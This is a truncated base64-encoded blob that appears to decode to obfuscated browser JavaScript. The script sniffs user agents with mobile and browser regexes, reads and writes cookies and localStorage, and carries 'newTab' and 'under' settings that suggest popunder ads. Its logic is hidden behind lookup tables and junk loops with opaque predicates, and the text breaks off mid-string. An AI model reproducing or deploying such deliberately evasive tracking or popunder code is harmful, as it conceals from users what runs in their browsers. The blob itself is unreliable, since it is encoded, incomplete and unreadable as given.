S5aNigyOTApO1l0PXc1Llo2KDI4MSk7S3Q9dzUuWjYoMjk2KTtadD13NS5aNigyODYpO1h0PXc1LmY2KDE0Nik7dGU9dzUuWjYoNjApO2VlPXc1Llo2KDE0Myk7aWU9dzUuWjYoMjE1KTtuZT0vcmFkaW98Y2hlY2tib3gvaTtyZT13NS5mNigyNzUpO29lPXc1Llo2KDEyNCk7c2U9dzUuZjYoMjE2KTthZT13NS5aNigzMDIpO2NlPXc1LmY2KDExNyk7dWU9LzEyMDd8NjMxMHw2NTkwfDNnc298NHRocHw1MFsxLTZdaXw3NzBzfDgwMnN8YSB3YXxhYmFjfGFjKGVyfG9vfHNcLSl8YWkoa298cm4pfGFsKGF2fGNhfGNvKXxhbW9pfGFuKGV4fG55fHl3KXxhcHR1fGFyKGNofGdvKXxhcyh0ZXx1cyl8YXR0d3xhdShkaXxcLW18ciB8cyApfGF2YW58YmUoY2t8bGx8bnEpfGJpKGxifHJkKXxibChhY3xheil8YnIoZXx2KXd8YnVtYnxid1wtKG58dSl8YzU1XC98Y2FwaXxjY3dhfGNkbVwtfGNlbGx8Y2h0bXxjbGRjfGNtZFwtfGNvKG1wfG5kKXxjcmF3fGRhKGl0fGxsfG5nKXxkYnRlfGRjXC1zfGRldml8ZGljYXxkbW9ifGRvKGN8cClvfGRzKDEyfFwtZCl8ZWwoNDl8YWkpfGVtKGwyfHVsKXxlcihpY3xrMCl8ZXNsOHxleihbNC03XTB8b3N8d2F8emUpfGZldGN8Zmx5KFwtfF8pfGcxIHV8ZzU2MHxnZW5lfGdmXC01fGdcLW1vfGdvKFwud3xvZCl8Z3IoYWR8dW4pfGhhaWV8aGNpdHxoZFwtKG18cHx0KXxoZWlcLXxoaShwdHx0YSl8aHAoIGl8aXApfGhzXC1jfGh0KGMoXC18IHxffGF8Z3xwfHN8dCl8dHApfGh1KGF3fHRjKXxpXC0oMjB8Z298bWEpfGkyMzB8aWFjKCB8XC18XC8pfGlicm98aWRlYXxpZzAxfGlrb218aW0xa3xpbm5vfGlwYXF8aXJpc3xqYSh0fHYpYXxqYnJvfGplbXV8amlnc3xrZGRpfGtlaml8a2d0KCB8XC8pfGtsb258a3B0IHxrd2NcLXxreW8oY3xrKXxsZShub3x4aSl8bGcoIGd8XC8oa3xsfHUpfDUwfDU0fFwtW2Etd10pfGxpYnd8bHlueHxtMVwtd3xtM2dhfG01MFwvfG1hKHRlfHVpfHhvKXxtYygwMXwyMXxjYSl8bVwtY3J8bWUocmN8cmkpfG1pKG84fG9hfHRzKXxtbWVmfG1vKDAxfDAyfGJpfGRlfGRvfHQoXC18IHxvfHYpfHp6KXxtdCg1MHxwMXx2ICl8bXdicHxteXdhfG4xMFswLTJdfG4yMFsyLTNdfG4zMCgwfDIpfG41MCgwfDJ8NSl8bjcoMCgwfDEpfDEwKXxuZSgoY3xtKVwtfG9ufHRmfHdmfHdnfHd0KXxub2soNnxpKXxuenBofG8yaW18b3AodGl8d3YpfG9yYW58b3dnMXxwODAwfHBhbihhfGR8dCl8cGR4Z3xwZygxM3xcLShbMS04XXxjKSl8cGhpbHxwaXJlfHBsKGF5fHVjKXxwblwtMnxwbyhja3xydHxzZSl8cHJveHxwc2lvfHB0XC1nfHFhXC1hfHFjKDA3fDEyfDIxfDMyfDYwfFwtWzItN118aVwtKXxxdGVrfHIzODB8cjYwMHxyYWtzfHJpbTl8cm8odmV8em8pfHM1NVwvfHNhKGdlfG1hfG1tfG1zfG55fHZhKXxzYygwMXxoXC18b298cFwtKXxzZGtcL3xzZShjKFwtfDB8MSl8NDd8bWN8bmR8cmkpfHNnaFwtfHNoYXJ8c2llKFwtfG0pfHNrXC0wfHNsKDQ1fGlkKXxzbShhbHxhcnxiM3xpdHx0NSl8c28oZnR8bnkpfHNwKDAxfGhcLXx2XC18diApfHN5KDAxfG1iKXx0MigxOHw1MCl8dDYoMDB8MTB8MTgpfHRhKGd0fGxrKXx0Y2xcLXx0ZGdcLXx0ZWwoaXxtKXx0aW1cLXx0XC1tb3x0byhwbHxzaCl8dHMoNzB8bVwtfG0zfG01KXx0eFwtOXx1cChcLmJ8ZzF8c2kpfHV0c3R8djQwMHx2NzUwfHZlcml8dmkocmd8dGUpfHZrKDQwfDVbMC0zXXxcLXYpfHZtNDB8dm9kYXx2dWxjfHZ4KDUyfDUzfDYwfDYxfDcwfDgwfDgxfDgzfDg1fDk4KXx3M2MoXC18ICl8d2ViY3x3aGl0fHdpKGcgfG5jfG53KXx3bWxifHdvbnV8eDcwMHx5YXNcLXx5b3VyfHpldG98enRlXC0vaTtoZT13NS5aNigxNCk7ZmU9dzUuWjYoMjMpO3BlPXc1Llo2KDExMSk7X2U9dzUuWjYoMjYwKTtsZT0vbWFjaW50b3NoLztkZT13NS5mNig5MCk7dmU9dzUuZjYoMzMyKTtiZT13NS5mNigyMDApO21lPS9tb3ppbGxhLztnZT13NS5mNigxNzQpO3llPXc1LmY2KDEzNSk7a2U9dzUuZjYoMzc4KTt3ZT0vKD86XHcrKVwvKFtcZFwuXSspKD86JHxcc3xcL3xcKSkrL2k7eGU9dzUuWjYoMzQpO09lPXc1LmY2KDM3Nyk7Q2U9dzUuZjYoNDcyKTtFZT13NS5mNigxMTUpO1BlPXc1Llo2KDE5NCk7VGU9dzUuZjYoNDE0KTtBZT13NS5mNig2NSk7RmU9dzUuWjYoMTA3KTtTZT13NS5mNig0MDMpO2plPXc1LmY2KDI5Mik7TGU9dzUuWjYoNTgpO3plPXc1Llo2KDE2NCk7QmU9Lyg/Ok9QUnxPcGVyYXxPUGlPUylcLyhbXGRcLl0rKSg/OiR8XHN8XC98XCkpKy9pO0llPXc1LmY2KDIyOSk7TWU9dzUuWjYoNDY3KTtXZT13NS5mNig0NjMpO0RlPXc1Llo2KDQzNyk7VWU9dzUuZjYoMTkzKTtSZT13NS5aNigzMyk7TmU9dzUuZjYoODUpO0hlPXc1LmY2KDQwOCk7cWU9dzUuZjYoMjApO0plPXc1Llo2KDk4KTtWZT13NS5mNigxMzYpOyRlPXc1LmY2KDI3Nyk7UWU9dzUuWjYoNyk7R2U9dzUuWjYoODYpO1llPXc1LmY2KDE3NSk7S2U9dzUuWjYoMjcxKTtaZT13NS5aNigzOTkpO1hlPXc1LmY2KDEzMyk7dGk9dzUuWjYoOTUpO2VpPXc1LmY2KDE1Mik7aWk9dzUuWjYoMzEyKTtuaT13NS5aNigyOTgpO3JpPXc1Llo2KDQzMyk7b2k9dzUuZjYoMTgzKTtzaT0vYW5kcm9pZHx3ZWJvc3xpcGhvbmV8aXBhZHxpcG9kfGJsYWNrYmVycnl8aWVtb2JpbGV8b3BlcmFccyttaW5pLzthaT13NS5aNigzODIpO2NpPXc1LmY2KDEyNyk7dWk9dzUuWjYoMzM2KTtoaT13NS5aNigyOTUpO2ZpPXc1Llo2KDMwNyk7cGk9dzUuZjYoMjUxKTtfaT13NS5mNig0MTkpO2xpPXc1LmY2KDMxKTtkaT13NS5aNigyNzQpO3ZpPXc1LmY2KDQ0Nik7Ymk9dzUuWjYoMTYzKTttaT13NS5mNig5NCk7Z2k9dzUuWjYoMjIwKTt5aT13NS5aNigzNTQpO2tpPXc1Llo2KDE4Nik7d2k9dzUuZjYoNDEyKTt4aT13NS5mNig0NDcpO09pPXc1Llo2KDQwNCk7Q2k9dzUuZjYoNTIpO0VpPXc1Llo2KDY4KTtQaT13NS5mNigzNSk7VGk9dzUuZjYoNTYpO0FpPXc1LmY2KDEwMyk7Rmk9dzUuWjYoMzc5KTtTaT13NS5mNig0NTEpO2ppPXc1Llo2KDQ3NSk7TGk9dzUuWjYoMjEpO3ppPXc1LmY2KDE3MSk7Qmk9dzUuZjYoMTMxKTtJaT13NS5mNig0ODgpO01pPXc1LmY2KDE4MCk7V2k9dzUuWjYoNDQ1KTtEaT0vYnV0dG9ufGlucHV0L2k7VWk9dzUuWjYoMTM0KTtSaT13NS5mNigyMjgpO05pPXc1LmY2KDc4KTtIaT13NS5aNig1NCk7cWk9dzUuWjYoMTY3KTtKaT13NS5mNig0NjUpO1ZpPXc1Llo2KDMzNSk7JGk9dzUuZjYoMTY5KTtRaT13NS5mNigzNjgpO0dpPXc1LmY2KDI4Nyk7WWk9dzUuWjYoMzQ4KTtLaT13NS5mNigzMDEpO1ppPXc1LmY2KDQ0KTtYaT13NS5mNigyNjQpO3RuPXc1LmY2KDc3KTtlbj13NS5mNig0NjApO25uPXc1LmY2KDMzNyk7cm49dzUuWjYoMTU3KTtvbj13NS5aNigzMjUpO3NuPXc1LmY2KDIzNyk7YW49dzUuZjYoNDg2KTtjbj13NS5mNigxNTUpO3VuPXc1Llo2KDEwNCk7aG49dzUuWjYoMzU2KTtmbj13NS5aNig0OCk7cG49dzUuZjYoMjQyKTtfbj13NS5mNig0MDApO2xuPXc1Llo2KDI2NSk7ZG49dzUuZjYoMjg0KTt2bj13NS5aNigyODgpO2JuPXc1LmY2KDQzOSk7bW49dzUuWjYoMzQxKTtnbj13NS5aNigyMDMpO3luPXc1LmY2KDIxNyk7a249dzUuWjYoMzIxKTt3bj13NS5mNig0MzIpO3huPXc1LmY2KDIyKTtPbj02NDc9PSg0OTguMjUsMjAwKT8oMS42OWUrMyw0NjkpOnc1LmY2KDk2KTtDbj13NS5mNigzODMpO0VuPXc1LmY2KDM1OSk7UG49dzUuWjYoMzUwKTtUbj0vXk9wZXJhXC8uKj9QcmVzdG9cLy4qP1ZlcnNpb25cLyhbXGRcLl0rKS9pO0FuPXc1Llo2KDE5MSk7Rm49dzUuZjYoNDQ4KTtTbj13NS5mNigyNDQpO2puPXc1Llo2KDIzMSk7TG49dzUuZjYoMTIwKTt6bj13NS5mNig0NTApO0JuPXc1Llo2KDExOCk7SW49dzUuZjYoNik7TW49dzUuWjYoNzUpO1duPXc1LmY2KDEyMyk7RG49dzUuWjYoMzA0KTtVbj0vcmVzZXR8YnV0dG9ufHN1Ym1pdC9pO1JuPXc1LmY2KDQ4NCk7Tm49dzUuZjYoMTk2KTtIbj13NS5mNigyMjYpO3FuPXc1LmY2KDM1Myk7Sm49dzUuWjYoMTgpO1ZuPXc1LmY2KDE2OCk7JG49dzUuZjYoMzE0KTtRbj13NS5aNig0NzEpO0duPXc1LmY2KDQ1OSk7WW49dzUuZjYoMzE3KTtLbj13NS5mNigyNDkpO1puPS9WZXJzaW9uXC8oW1xkXC5dKylccysobW9iaWxlXC9bXlxzXStccyspP1NhZmFyaS9pO1huPXc1LmY2KDE0NSk7dHI9dzUuWjYoMjQwKTtlcj13NS5mNigxOSk7aXI9dzUuWjYoNDg5KTtucj13NS5aNigyNzYpO3JyPXc1LmY2KDQ4Mik7b3I9dzUuZjYoNDY2KTtzcj13NS5aNigyNzApO2FyPXc1Llo2KDE0Nyk7Y3I9dzUuZjYoMjQpO3VyPXc1LmY2KDgzKTtocj13NS5aNigyNzkpO2ZyPXc1Llo2KDQzKTtwcj13NS5mNig0MjApO19yPXc1LmY2KDQ2Mik7bHI9L2Nocm9tZXxjcmlvcy87ZHI9dzUuWjYoNDExKTt2cj0vIy4qJC87YnI9dzUuZjYoMTU5KTttcj13NS5aNigwKTtncj0vKGNvbXBhdGlibGV8d2Via2l0KS87eXI9L0Z4aU9TXC8oW1xkXC5dKykvaTtrcj13NS5mNig1OSk7d3I9dzUuWjYoMzgpO3hyPXc1LmY2KDE5OCk7T3I9dzUuZjYoMTApO0NyPXc1LmY2KDQ2NCk7RXI9dzUuWjYoMTE2KTtQcj13NS5mNigzNjkpO1RyPXc1LmY2KDEyMSk7QXI9L21zaWV8dHJpZGVudFwvLztGcj13NS5mNigyNTYpO1NyPXc1LmY2KDQ3MCk7anI9dzUuZjYoMjkzKTtMcj13NS5mNig4Nyk7enI9L2Nocm9tZXxvcGVyYXxlZGdlfGNyaW9zfG9waW9zfGZ4aW9zfHVjL2k7QnI9dzUuWjYoMjUyKTtJcj13NS5aNigxMDgpO01yPXc1LmY2KDkxKTtXcj13NS5mNigyKTtEcj13NS5mNigyNjgpO1VyPXc1Llo2KDI3OCk7UnI9dzUuWjYoMzI2KTtOcj13NS5mNig5KTtIcj13NS5mNigxMzIpO3FyPXc1Llo2KDMyNCk7SnI9LyhhbmRyb2lkfGJiXGQrfG1lZWdvKS4rbW9iaWxlfGF2YW50Z298YmFkYVwvfGJsYWNrYmVycnl8YmxhemVyfGNvbXBhbHxlbGFpbmV8ZmVubmVjfGhpcHRvcHxpZW1vYmlsZXxpcChob25lfG9kKXxpcGFkfGlyaXN8a2luZGxlfEFuZHJvaWR8U2lsa3xsZ2UgfG1hZW1vfG1pZHB8bW1wfG5ldGZyb250fG9wZXJhIG0ob2J8aW4paXxwYWxtKCBvcyk/fHBob25lfHAoaXhpfHJlKVwvfHBsdWNrZXJ8cG9ja2V0fHBzcHxzZXJpZXMoNHw2KTB8c3ltYmlhbnx0cmVvfHVwXC4oYnJvd3NlcnxsaW5rKXx2b2RhZm9uZXx3YXB8d2luZG93cyAoY2V8cGhvbmUpfHhkYXx4aWluby9pO1ZyPSgyNDk2LDg0OTUpIT05NzY/dzUuZjYoMjk3KTohITA7JHI9dzUuWjYoNDI2KTtRcj13NS5mNigyMjUpO0dyPXc1LmY2KDE4OCk7WXI9dzUuZjYoNDMxKTtLcj13NS5mNigyNTApO1pyPXc1Llo2KDI2MSk7WHI9dzUuZjYoMTc2KTt0bz13NS5mNigyNSk7ZW89dzUuWjYoMTk1KTtpbz13NS5mNigzMjgpO25vPXc1Llo2KDQwOSk7cm89dzUuZjYoMzQ5KTtvbz13NS5aNigzMjIpO3NvPXc1Llo2KDMxNik7YW89dzUuWjYoMzg1KTtjbz13NS5mNigxMTMpO3VvPXc1LmY2KDQ3NCk7aG89dzUuWjYoMjY3KTtmbz13NS5mNigyNjYpO3BvPXc1Llo2KDQwNyk7X289dzUuWjYoNjMpO2xvPXc1Llo2KDM2Nyk7dm89L3dlYmtpdC87Ym89dzUuWjYoNDUyKTttbz0vc2FmYXJpLztnbz13NS5aNig5Myk7eW89L29wZXJhfG9wcnxvcGlvc1wvLztrbz13NS5aNigzMzEpO3dvPXc1LmY2KDI2KTt4bz13NS5aNigxODIpO09vPXc1LmY2KDM4MCk7Q289dzUuWjYoMTEwKTtFbz13NS5mNigxMTIpO1BvPXc1LmY2KDMwNSk7VG89dzUuZjYoNzQpO0FvPXc1LmY2KDEwMik7Rm89dzUuZjYoNDc4KTtTbz0vYW5kcm9pZC87am89dzUuZjYoMzkxKTtMbz13NS5aNigzMDYpO3pvPXc1LmY2KDQwNSk7Qm89dzUuWjYoOTkpO0lvPXc1Llo2KDM5Nik7TW89dzUuWjYoNDQwKTtXbz13NS5mNig2Nyk7RG89dzUuWjYoNDAxKTtVbz13NS5aNigxNTQpO1JvPXc1LmY2KDI4OSk7Tm89dzUuWjYoMzkzKTtIbz13NS5mNig3OSk7cW89dzUuWjYoMTQwKTtKbz13NS5aNigzNzIpO1ZvPXc1Llo2KDQyMik7JG89dzUuZjYoNDQ5KTtRbz13NS5aNigzOTUpO0dvPXc1Llo2KDIwNik7WW89dzUuWjYoMjQzKTtLbz13NS5mNig2Mik7Wm89dzUuWjYoNDg1KTtYbz13NS5mNigxMzApO3RzPXc1Llo2KDE1Nik7ZXM9dzUuZjYoMjAxKTtpcz13NS5aNigzNjEpO25zPXc1LmY2KDMxNSk7cnM9dzUuWjYoMTIyKTtvcz13NS5mNig3MCk7c3M9dzUuZjYoMjU3KTthcz13NS5aNig0MjUpO2NzPXc1LmY2KDMzMCk7dXM9dzUuZjYoNzMpO2hzPXc1LmY2KDMwMyk7ZnM9dzUuWjYoMTAwKTtwcz13NS5mNigzNzQpO19zPXc1Llo2KDY2KTtscz0oODI2LjA2LDk5Ny4yKSE9PSgyNjIuNzksNzAwLjQpP3c1LmY2KDE3OSk6KG81LHc1Llo2KDM2KSk7ZHM9dzUuWjYoMjIzKTt2cz13NS5mNigxMTkpO2JzPXc1Llo2KDMwOCk7bXM9dzUuZjYoNDcpO2dzPXc1Llo2KDMxOSk7eXM9dzUuZjYoMTgxKTtrcz13NS5mNigzNDUpO3dzPXc1Llo2KDE1KTt4cz0vXigjfGphdmFzY3JpcHQpL2k7T3M9dzUuWjYoMzY2KTtDcz13NS5aNigxOTkpO0VzPXc1Llo2KDM4NCk7UHM9dzUuZjYoNDA2KTtUcz13NS5mNig0MjkpO0FzPXc1LmY2KDI0Nyk7RnM9dzUuZjYoNDQzKTtTcz13NS5mNigzMzgpO2pzPS8oPzpGaXJlZm94fENocm9tZSlcLyhbXGRcLl0rKSg/OiR8XHN8XC98XCkpKy9pO0xzPXc1Llo2KDM3MCk7enM9dzUuZjYoMzEwKTtCcz13NS5aNigzODYpO0lzPXc1Llo2KDI5NCk7TXM9dzUuWjYoMjgzKTtXcz13NS5aNigzODcpO0RzPXc1LmY2KDM5KTtVcz13NS5aNigxMDYpO1JzPXc1LmY2KDIwMik7TnM9dzUuWjYoMzExKTtIcz13NS5mNig0MzgpO3FzPXc1LmY2KDcxKTtKcz13NS5mNigxMzcpO1ZzPXc1Llo2KDI3KTskcz13NS5aNig4NCk7UXM9L18vZztHcz13NS5aNigxNTgpO1lzPXc1Llo2KDE5Mik7S3M9dzUuZjYoNDIzKTtacz13NS5mNigzMzkpO1hzPXc1Llo2KDE1MCk7dGE9dzUuWjYoMTQyKTtlYT13NS5mNig0KTtpYT13NS5aNig0MTApO25hPXc1LmY2KDIzNik7cmE9dzUuZjYoNDAyKTtvYT13NS5mNigyMTQpO3NhPXc1Llo2KDQxNyk7YWE9dzUuZjYoMTg0KTtjYT13NS5aNigxOTcpO3VhPXc1LmY2KDIzMyk7aGE9dzUuZjYoMzApO2ZhPS9saW51eC87cGE9dzUuWjYoMjgyKTtfYT0vb3BlcmEvO2xhPXc1Llo2KDM2NCk7ZGE9dzUuWjYoMTczKTt2YT13NS5aNigzMDApO2JhPXc1LmY2KDIzNSk7bWE9L2VkZ2V8b3ByXC8vO2dhPXc1LmY2KDI4NSk7eWE9dzUuZjYoNDYpO2thPXc1Llo2KDEzKTt3YT13NS5aNigyMDUpO3hhPXc1LmY2KDIyNCk7T2E9dzUuZjYoMzQ0KTtDYT13NS5aNigyMTMpO0VhPS9FZGdlXC8oW1xkXC5dKykoPzokfFxzfFwvfFwpKSsvaTtQYT13NS5mNigxMjYpO1RhPXc1Llo2KDExNCk7QWE9L14oPzouKlteXHddKSooW1x3XSspXHMqJC9pO0ZhPXc1LmY2KDM5Mik7U2E9dzUuWjYoNjkpO2phPXc1LmY2KDMpO0xhPXc1LmY2KDQ1KTt6YT13NS5mNigzMjMpO0JhPXc1LmY2KDEzOSk7SWE9dzUuWjYoMTI5KTtNYT13NS5mNig4KTtXYT13NS5mNig0Mik7RGE9dzUuZjYoMSk7VWE9dzUuWjYoODkpO1JhPXc1LmY2KDIwOSk7TmE9dzUuZjYoMjgpO0hhPXc1LmY2KDIxOSk7cWE9dzUuWjYoMjMwKTtKYT13NS5aNig4MSk7VmE9dzUuWjYoMzA5KTskYT13NS5mNigzNDcpO1FhPXc1LmY2KDM4MSk7R2E9dzUuWjYoOTIpO1lhPXc1LmY2KDEyNSk7S2E9dzUuWjYoMzIpO1phPXc1LmY2KDM5MCk7WGE9dzUuZjYoNDY4KTt0Yz13NS5mNigzNik7ZWM9dzUuZjYoMzk3KTtpYz13NS5aNig0ODApO25jPXc1LmY2KDIyMik7cmM9dzUuZjYoNDU3KTtvYz13NS5aNigzNTIpO3NjPXc1Llo2KDI5KTthYz0vaShQaG9uZXxQYWR8UG9kKS9pO2NjPXc1LmY2KDQzNCk7dWM9dzUuZjYoNDIxKTtoYz13NS5aNig0NzMpO2ZjPXc1LmY2KDE3MCk7cGM9dzUuZjYoMjYyKTtfYz13NS5aNigxNTEpO2xjPXc1LmY2KDQ5KTtkYz13NS5mNigyNTQpO3ZjPXc1LmY2KDQyOCk7YmM9dzUuZjYoMTUzKTttYz13NS5aNigyNjkpO2djPXc1Llo2KDU3KTt5Yz13NS5mNigzNTcpO2tjPS9UcmlkZW50XC8uKj9ydjooW1xkXC5dKykoPzokfFxzfFwvfFwpKSsvaTt3Yz13NS5aNig0NTMpO3hjPXc1Llo2KDQ3Nik7T2M9dzUuZjYoNDU0KTtDYz13NS5mNig0NTgpO0VjPXc1LmY2KDgwKTtQYz0vOlxkKyQvO1RjPXc1Llo2KDI3Mik7QWM9dzUuWjYoMzI3KTtGYz13NS5mNig0NzkpO1NjPXc1Llo2KDYxKTtqYz13NS5mNigyOTEpO0xjPXc1Llo2KDIzMik7emM9dzUuWjYoMTEpO0JjPXc1LmY2KDM0Nik7SWM9dzUuWjYoMTA1KTtNYz13NS5aNig0NzcpO1djPXc1Llo2KDQwKTtEYz13NS5aNig3Nik7VWM9dzUuWjYoMTYpO1JjPXc1Llo2KDIyNyk7TmM9dzUuWjYoMjA0KTtIYz13NS5mNigzNyk7IWZ1bmN0aW9uKHQseSxSdCxYZSxyaSx5aSxBaSxObixkcixVcixpbyxybyxDbyxHcyx6YyxVYyxxYyxKYyxWYywkYyl7InVzZSBzdHJpY3QiO3ZhciBRYyxHYyxZYyxLYyxaYyxYYyx0dSxldSxpdSxudSxydSxvdSxzdSxhdSxjdSx1dSxodSxmdSxwdSxfdSxsdSxkdSx2dSxidSxtdSxndSx5dSxrdSx3dSx4dSxPdSxDdSxFdSxQdSxUdSxBdSxGdTtydT10O3c1Llk0KDApO291PXc1LmM0KHVpLEdyLGJyLF9yLFllLFNpLFR0LGRuLFllLHUsbWksT3QsR3IsWWUsdXIpO3c1Llk0KDEpO3N1PXc1LnU0KGZlLFR0LEh0LG90LFR0KTt3NS5vNCgxKTthdT13NS51NChXaSxQZSxLLF9jLFBlKTt3NS5ZNCgyKTtjdT13NS5jNChydSxnaSk7dzUubzQoMik7dXU9dzUudTQocnUsWm8pO3c1Lm80KDMpO2h1PXc1LmM0KE9jLHJ1LEJpLFV0LEdyLEdyKTt3NS5vNCgyKTtmdT13NS51NChydSwkYSk7cHU9YW87X3U9eGk7bHU9THI7ZHU9bW47dnU9eVtmXVtxbytHcitDXVtYcytHcit0cytHcituY10oKTtidT17dW5kZXI6bzUsbmV3VGFiOm81fTttdT1udWxsO2d1PW81O3l1PSF7fTtrdT1mdW5jdGlvbigpe307dzUuWTQoNCk7d3U9dzUudTQoR3IsT3QsRXQpO3h1PXJpW3ZzK0dyK0FvXXx8e3NyYzpudWxsfTt3NS5vNCg0KTtPdT15W2ZdW3c1LmM0KGVvLEdyLGtyKV07Q3U9eXU7RXU9eXU7UHU9eXU7VHU9ZnVuY3Rpb24oKXt2YXIgRTksbzksdzk7dHJ5e0U5PTM2MDIzMDM0MztvOT01MDA4ODEwMDM7dzk9Mjtmb3IodmFyIGI1PTE7dzUuTDEoYjUudG9TdHJpbmcoKSxiNS50b1N0cmluZygpLmxlbmd0aCw1ODI0MykhPT1FOTtiNSsrKXtyZXR1cm4geVtwXT09PXlbcXJdfHwheVtwXVttcl1bRWldWyhYcy1HciklaF0oKSE9VGM/eVtwXTp5W3FyXTt3OSs9Mjt9aWYodzUuTDEodzkudG9TdHJpbmcoKSx3OS50b1N0cmluZygpLmxlbmd0aCw1MTUyOSkhPT1vOSl7cmV0dXJuIHlbcF0hPT15W3FyXSYmdHlwZW9mIHlbcF1bbXJdW0VpXVtYcytHcitoXSgpPT09VGM/eVtwXTp5W3FyXTt9fWNhdGNoKHQpe3ZhciBBOSxJOSxLOTtBOT0yMjIyMDY4MDc7STk9NDU1MTUwMTA4O0s5PTI7Zm9yKHZhciBROT0xO3c1LkwxKFE5LnRvU3RyaW5nKCksUTkudG9TdHJpbmcoKS5sZW5ndGgsNjg5NDApIT09QTk7UTkrKyl7cmV0dXJuIFB1PWd1LHlbcXJdO0s5Kz0yO31pZih3NS5MMShLOS50b1N0cmluZygpLEs5LnRvU3RyaW5nKCkubGVuZ3RoLDU2NzU3KSE9PUk5KXtyZXR1cm4gUHU9Z3UseVtxcl07fX19KCk7QXU9VHVbSmFdW1FhXTtGdT1mdW5jdGlvbigpe3ZhciB0O3RyeXt0PVR1W0VpXVt1bl07fWNhdGNoKHQpe31yZXR1cm4hUHUmJnR8fChidT17bmV3VGFiOmd1LHVuZGVyOnl1fSx0PXJpW2lhXSksdDt9KCk7S2M9e3Q6W10sbjpmdW5jdGlvbih0KXt2YXIgSDcsdjcsVDc7SDc9MTg2NDAwNjYwNDt2Nz03MzE4NDIzNTE7VDc9Mjtmb3IodmFyIG83PTE7dzUuZDEobzcudG9TdHJpbmcoKSxvNy50b1N0cmluZygpLmxlbmd0aCw5MTY5NikhPT1INztvNysrKXt0eXBlb2YgeVt3c10hPT1nZSYmeVt3c11bT29dJiZObltvYV1bQ2ldKHlbd3NdW09vXSxjb25zb2xlLHQpO1Q3Kz0yO31pZih3NS5kMShUNy50b1N0cmluZygpLFQ3LnRvU3RyaW5nKCkubGVuZ3RoLDI0OTc5KSE9PXY3KXt+eVt3c109PT1nZXx8eVt3c11bT29dfHxObltvYV1bQ2ldKHlbd3NdW09vXSxjb25zb2xlLHQpO319LHI6ZnVuY3Rpb24oKXtmb3IodmFyIHQ9MDt0PHRoaXMudFtwaV07dCsrKXt0aGlzLm4odGhpcy50W3RdKTt9fSxlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9W3RdW0tuXShBaVtYdF1bcW5dW0NpXShhcmd1bWVudHMsMSkpO3RoaXMudFtNcl0oZSk7R2MuaSgpJiZ0aGlzLm4oZSk7fX07ZXU9e3M6ZnVuY3Rpb24oKXtpZih0aGlzLm89PT1tdSl0cnl7eVthcytHcit0aV1bbGkrR3IrRXJdKHJ1LDEpO3lbYXMrR3IrdGldW3huK0dyK0VyXShydSk7dGhpcy5vPWd1O31jYXRjaCh0KXt2YXIgdzcscDcsYjk7dzc9LTE2MTA5ODQyMzA7cDc9OTg2NDU4NDQ2O2I5PTI7Zm9yKHZhciBtOT0xO3c1LmQxKG05LnRvU3RyaW5nKCksbTkudG9TdHJpbmcoKS5sZW5ndGgsODg3MTMpIT09dzc7bTkrKyl7dGhpcy5vPXl1O2I5Kz0yO31pZih3NS5MMShiOS50b1N0cmluZygpLGI5LnRvU3RyaW5nKCkubGVuZ3RoLDMzNDE0KSE9PXA3KXt0aGlzLm89eXU7fXRoaXMubz15dTt9cmV0dXJuIHRoaXMubzt9LHU6ZnVuY3Rpb24odCl7dGhpcy5zKCk/eVthcytHcit0aV1beG4rR3IrRXJdKHQpOnR1LnUodCk7fSxjOmZ1bmN0aW9uKHQpe3RyeXtyZXR1cm4gdGhpcy5zKCk/eVthcytHcit0aV1bYWErR3IrRXJdKHQpOnR1LmModCk7fWNhdGNoKHQpe3JldHVybiBtdTt9fSxvOm11LGE6ZnVuY3Rpb24odCxlKXt0aGlzLnMoKT95W2FzK0dyK3RpXVtsaStHcitFcl0odCxlKTp0dS5hKHQsZSk7fX07dHU9e3U6ZnVuY3Rpb24odCl7dGhpcy5hKHQsMCxuZXcgSmMoMCkpO30sYzpmdW5jdGlvbih0KXt2YXIgZTt3NS5ZNCg1KTtlPXJpW050XVtiY10obmV3IFVyKHc1LnU0KGVyLEdyLEdyLGV0LHNjLHQsR3IsR3IsdHQsdWMsR3IsR3IsSm8sR3IpLGxzKSk7cmV0dXJuIGU/VmMoZVswXVtDcl0oR3IrZXQrR3IpWzFdKTptdTt9LGE6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO3M9aXx8R3I7cyYmKHR5cGVvZiBzPT09V3Q/KG89bmV3IEpjKCkpW2xpK0dyK0hdKG9bYWErR3IrSF0oKSsxZTMqcyk6bz1zLHM9R3IrZXIrZmkrZXQrR3Irb1tYcytHcitWcitHcit4YytHcitXK0dyK2hdKCkpO3JpW050XT10KyhHcitldCtHcikrJGMoR3IrZSkrcysocj9HcitlcitkcytldCtHcityOkdyKSsoR3IrZXIrQXQrZXQrR3IpKyhufHxHcitQZStHcik7fX07WmM9e3A6ZnVuY3Rpb24odCl7dmFyIGUsaTtpPXt9O2ZvcihlPTA7ZTx0W3BpXTtlKyspe2lbdFtlXVswXV09dFtlXVsxXTt9cmV0dXJuIGk7fSxXOmZ1bmN0aW9uKHQsZSxpKXt2YXIgbjt0cnl7cmV0dXJuIG49dFthYStHcitHaV0oZSksdHlwZW9mIGkhPT1UYz95dTohIW5ldyBVcihGbitpK01zLGxzKVtqY10obik7fWNhdGNoKHQpe3JldHVybiB5dTt9fSxBOmZ1bmN0aW9uKCl7dHJ5e3JldHVybiB0eXBlb2YgeS5qUXVlcnkuZm4ub249PT1aczt9Y2F0Y2godCl7cmV0dXJuIHl1O319LEc6ZnVuY3Rpb24odCl7cmV0dXJuKHQ/bmV3IEpjKHQpOm5ldyBKYygpKVthYStHcitIXSgpO30sTTpmdW5jdGlvbih0KXt2YXIgbTAsQTAsSTAsZSxsNyxjNyxWNzttMD0tMTc4MjYxMjU4MTtBMD0tMTYzMzI0MDE2NDtJMD0yO2Zvcih2YXIgcjA9MTt3NS5MMShyMC50b1N0cmluZygpLHIwLnRvU3RyaW5nKCkubGVuZ3RoLDM0ODU4KSE9PW0wO3IwKyspe0kwKz0yO31pZih3NS5MMShJMC50b1N0cmluZygpLEkwLnRvU3RyaW5nKCkubGVuZ3RoLDg0OTA2KSE9PUEwKXt9dHJ5e2w3PS0xMjU4NTI0ODY5O2M3PTc3MTI1MDQ2ODtWNz0yO2Zvcih2YXIgeTc9MTt3NS5kMSh5Ny50b1N0cmluZygpLHk3LnRvU3RyaW5nKCkubGVuZ3RoLDEwMjkyKSE9PWw3O3k3KyspeyhlPXRbSmFdW1FhXShVYStWdCtjaSkpW2JvXSgpO2VbSW9dKCk7VjcrPTI7fWlmKHc1LmQxKFY3LnRvU3RyaW5nKCksVjcudG9TdHJpb